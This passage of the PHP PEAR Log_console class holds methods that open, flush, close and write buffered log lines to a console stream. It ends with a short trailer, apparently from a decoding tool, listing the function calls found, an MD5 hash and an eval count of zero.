if ($this->_buffering) {
register_shutdown_function(array(&$this, '_Log_console'));
}
}
/**
* Destructor
*/
function _Log_console()
{
$this->close();
}
/**
* Open the output stream.
*
* @access public
* @since Log 1.9.7
*/
function open()
{
$this->_opened = true;
return true;
}
/**
* Closes the output stream.
*
* This results in a call to flush().
*
* @access public
* @since Log 1.9.0
*/
function close()
{
$this->flush();
$this->_opened = false;
return true;
}
/**
* Flushes all pending ("buffered") data to the output stream.
*
* @access public
* @since Log 1.8.2
*/
function flush()
{
/*
* If output buffering is enabled, dump the contents of the buffer to
* the output stream.
*/
if ($this->_buffering && (strlen($this->_buffer) > 0)) {
fwrite($this->_stream, $this->_buffer);
$this->_buffer = '';
}
if (is_resource($this->_stream)) {
return fflush($this->_stream);
}
return false;
}
/**
* Writes $message to the text console. Also, passes the message
* along to any Log_observer instances that are observing this Log.
*
* @param mixed $message String or object containing the message to log.
* @param string $priority The priority of the message. Valid
* values are: PEAR_LOG_EMERG, PEAR_LOG_ALERT,
* PEAR_LOG_CRIT, PEAR_LOG_ERR, PEAR_LOG_WARNING,
* PEAR_LOG_NOTICE, PEAR_LOG_INFO, and PEAR_LOG_DEBUG.
* @return boolean True on success or false on failure.
* @access public
*/
function log($message, $priority = null)
{
/* If a priority hasn't been specified, use the default value. */
if ($priority === null) {
$priority = $this->_priority;
}
/* Abort early if the priority is above the maximum logging level. */
if (!$this->_isMasked($priority)) {
return false;
}
/* Extract the string representation of the message. */
$message = $this->_extractMessage($message);
/* Build the string containing the complete log line. */
$line = $this->_format($this->_lineFormat,
strftime($this->_timeFormat),
$priority, $message) . "\n";
/*
* If buffering is enabled, append this line to the output buffer.
* Otherwise, print the line to the output stream immediately.
*/
if ($this->_buffering) {
$this->_buffer .= $line;
} else {
fwrite($this->_stream, $line);
}
/* Notify observers about this log message. */
$this->_announce(array('priority' => $priority, 'message' => $message));
return true;
}
}
Function Calls
chr | 1 |
StrrEV | 1 |
substr | 1 |
explode | 1 |
Stats
MD5 | 6fa26d70744ad11d2703569b12de53b3 |
Eval Count | 0 |
Decode Time | 129 ms |